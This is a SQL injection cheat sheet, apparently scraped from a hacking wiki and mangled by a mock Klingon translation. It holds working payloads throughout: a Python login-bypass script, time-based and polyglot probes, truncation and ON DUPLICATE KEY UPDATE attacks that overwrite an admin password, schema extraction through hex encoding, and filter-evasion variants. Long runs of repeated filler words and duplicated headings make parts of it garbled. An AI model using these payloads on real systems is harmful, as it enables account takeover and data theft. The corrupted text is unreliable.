%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python script:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
tlhIngan Hol Translation:
Polyglot injection (multicontext)
HTML Translation:
Polyglot injection (multicontext)
```sql SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` ## Insert StatementModify password of existing object/user
To do so you should try to create a new object named as the "master object" (probably admin in case of users) modifying something:
- Create user named: AdMIn (uppercase & lowercase letters)
- Create a user named: admin=
- SQL Truncation Attack (when there is some kind of length limit in the username or email) --> Create user with name: admin [a lot of spaces] a
SQL Truncation Attack
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user admin, try to create a username called: "admin [30 spaces] a" and any password.
The database will check if the introduced username exists inside the database. If not, it will cut the username to the max allowed number of characters (in this case to: "admin [25 spaces]") and the it will automatically remove all the spaces at the end updating inside the database the user "admin" with the new password (some error could appear but it doesn't means that this hasn't worked).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
Add as much ','','' as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
ON DUPLICATE KEY UPDATE laH MySQL Daq yuQjIjDI' 'e' vItlhutlh vItlhutlh UNIQUE index PRIMARY KEY vItlhutlh 'ej vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Qapla'!
- The query attempts to insert two rows: one for
generic_user@example.comand another foradmin_generic@example.com. - If the row for
admin_generic@example.comalready exists, theON DUPLICATE KEY UPDATEclause triggers, instructing MySQL to update thepasswordfield of the existing row to "bcrypt_hash_of_newpassword". - Consequently, authentication can then be attempted using
admin_generic@example.comwith the password corresponding to the bcrypt hash ("bcrypt_hash_of_newpassword" represents the new password's bcrypt hash, which should be replaced with the actual hash of the desired password).
QaD
cha'logh 2 accounts vItlhutlh
vaj username, password je email vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
ʼejwIʼ Decimal qoj
ghaHvaD technique vItlhutlh. 1 account yInIDnISmoʼ. ʼej hex2dec ʼej substr vIleghlaH.
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
To get the text you can use:
tlhIngan Hol
or
Klingon
to specify the language.
__import__('binascii').unhexlify(hex(215573607263)[2:])
Hex and replace (and substr) ghItlh vaj ghItlh (je substr) DIvI':
SELECT hex(column_name) FROM table_name;
SELECT replace(column_name, 'string_to_replace', 'replacement_string') FROM table_name;
SELECT substr(column_name, start_position, length) FROM table_name;
Hex and replace (and substr) ghItlh vaj ghItlh (je substr) DIvI':
SELECT hex(column_name) FROM table_name;
SELECT replace(column_name, 'string_to_replace', 'replacement_string') FROM table_name;
SELECT substr(column_name, start_position, length) FROM table_name;
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
{% embed url="https://www.rootedcon.com/" %}
Routed SQL injection
Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. (From Paper)
Example:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - bypass using whitespace alternatives
Klingon Translation:
WAF Bypass
No spaces bypass
No Space (%20) - bypass using whitespace alternatives
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - bypass using comments
Description
In some cases, web applications may filter or block certain characters or keywords to prevent SQL injection attacks. One common technique is to block whitespace characters, such as spaces and tabs. However, this can be bypassed using comments in SQL queries.
Exploitation
To bypass the whitespace filter, you can use SQL comments to hide the injected code. In SQL, comments are denoted by -- for single-line comments and /* */ for multi-line comments.
For example, consider the following vulnerable query:
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
To inject a malicious payload, you can use comments to hide the additional code:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'password'
In this example, the injected payload '--' comments out the rest of the original query, effectively bypassing the password check.
Prevention
To prevent this type of attack, it is important to implement proper input validation and parameterization techniques. Additionally, consider using a web application firewall (WAF) that can detect and block SQL injection attempts.
References
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - bypass using parenthesis
Description
In some cases, a web application may filter or block certain characters, such as whitespace, to prevent SQL injection attacks. However, it is still possible to bypass these filters by using parenthesis.
Exploit
To exploit this vulnerability, you can use the following technique:
- Identify a vulnerable parameter in the web application.
- Craft a SQL injection payload using parenthesis to bypass the whitespace filter.
- Inject the payload into the vulnerable parameter and observe the application's response.
Example
Suppose we have a vulnerable parameter called id in a URL, and the application filters out whitespace characters. We can bypass this filter by using parenthesis to separate the SQL keywords.
Original URL: https://example.com/page?id=1
Payload: 1) UNION SELECT 1,2,3--
Modified URL: https://example.com/page?id=1) UNION SELECT 1,2,3--
In this example, the closing parenthesis ) separates the injected SQL keywords from the original query, allowing us to execute the UNION SELECT statement despite the whitespace filter.
Prevention
To prevent this type of attack, it is essential to implement proper input validation and parameterized queries. Additionally, consider using a web application firewall (WAF) to detect and block SQL injection attempts.
?id=(1)and(1)=(1)--
ghItlhvam: ghItlhvam lo'wI' jatlh
ghItlhvam lo'wI' jatlh - OFFSET, FROM je JOIN lo'wI' jatlh
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Generic Bypasses
tlhIngan Hol translation:
QaDmoHwI'
**QaDmoHwI' vItlhutlh - vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh 